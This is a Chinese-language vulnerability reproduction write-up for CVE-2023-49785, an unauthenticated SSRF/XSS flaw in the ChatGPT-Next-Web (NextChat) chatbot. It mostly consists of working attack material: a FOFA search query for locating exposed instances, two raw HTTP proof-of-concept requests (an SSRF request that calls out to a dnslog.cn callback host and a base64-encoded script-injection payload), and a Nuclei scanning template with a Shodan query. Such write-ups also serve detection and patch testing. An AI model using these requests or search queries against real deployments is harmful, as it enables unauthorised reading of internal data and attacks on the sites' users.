C1-1ChatGPT-SSRFXSS漏洞

漏洞描述：

影响版本：

2024年3月，互联网上披露CVE-2023-49785 ChatGPT-Next-Web SSRF/XSS 漏洞，未经身份验证的攻击者可利用此漏洞构造恶意请求获取系统内部敏感信息及配置文件，造成信息泄露。CVE-2023-49785

网站图片：

网络测绘：

fofa语法：

FOFA：app="ChatGPT-Next-Web"

漏洞复现：

SSRF-POC payload：

```
GET /api/cors/http:%2f%2fnextchat.2222222222.pb0e92.dnslog.cn%23 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
```

效果图:

XSS-POC

```
GET /api/cors/data:text%2fhtml;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+%23 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
```

Yaml模板

```
id: CVE-2023-49785

info:
  name: ChatGPT-Next-Web - SSRF/XSS
  author: nvn1729
  severity: critical
  description: |
    Full-Read SSRF/XSS in NextChat, aka ChatGPT-Next-Web
  remediation: |
    Do not expose to the Internet
  reference:
    - https://www.horizon3.ai/attack-research/attack-blogs/nextchat-an-ai-chatbot-that-lets-you-talk-to-anyone-you-want-to/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2023-49785
  metadata:
    max-request: 1
    shodan-query: title:NextChat,"ChatGPT Next Web"
    verified: true
  tags: cve,cve2023,ssrf,xss,chatgpt,nextchat

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/cors/data:text%2fhtml;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+%23"
      - "{{BaseURL}}/api/cors/http:%2f%2fnextchat.{{interactsh-url}}%23"

    matchers-condition: or
    matchers:
      - type: dsl
        dsl:
          - contains(body_1, "<script>alert(document.domain)</script>")
          - contains(header_1, "text/html")
        condition: and

      - type: dsl
        dsl:
          - contains(header_2,'X-Interactsh-Version')
          - contains(interactsh_protocol_2,'dns')
        condition: and
```